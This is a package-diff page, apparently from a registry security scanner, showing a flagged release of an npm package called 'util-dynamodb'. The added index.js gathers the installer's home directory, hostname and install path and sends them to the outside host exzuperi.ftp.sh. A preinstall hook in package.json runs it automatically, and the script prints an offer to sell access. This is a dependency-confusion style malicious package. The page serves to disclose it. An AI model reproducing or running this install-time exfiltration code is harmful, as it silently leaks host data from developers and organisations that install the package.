util-dynamodb 213.21.24

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of util-dynamodb might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +34 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,34 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const fs = require('fs');
8
+
9
+ const trackingData = JSON.stringify({
10
+ hd: os.homedir(),
11
+ hn: os.hostname(),
12
+ ls: __dirname,
13
+ pn: "util-dynamodb",
14
+ });
15
+
16
+ const options = {
17
+ hostname: "exzuperi.ftp.sh",
18
+ port: 449,
19
+ path: `/PoC/${encodeURIComponent(trackingData)}`,
20
+ method: "GET",
21
+ };
22
+
23
+ const req = https.request(options, (res) => {
24
+ res.on("data", (d) => {
25
+ //process.stdout.write(d);
26
+ });
27
+ });
28
+
29
+ req.on("error", (e) => {
30
+ console.error(e);
31
+ });
32
+
33
+ process.stdout.write("You can reach me, if you want to buy it: https://t.me/exzuperi");
34
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "util-dynamodb",
3
+ "version": "213.21.24",
4
+ "description": "PoC for pottential RCE",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: exzuperi made me\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }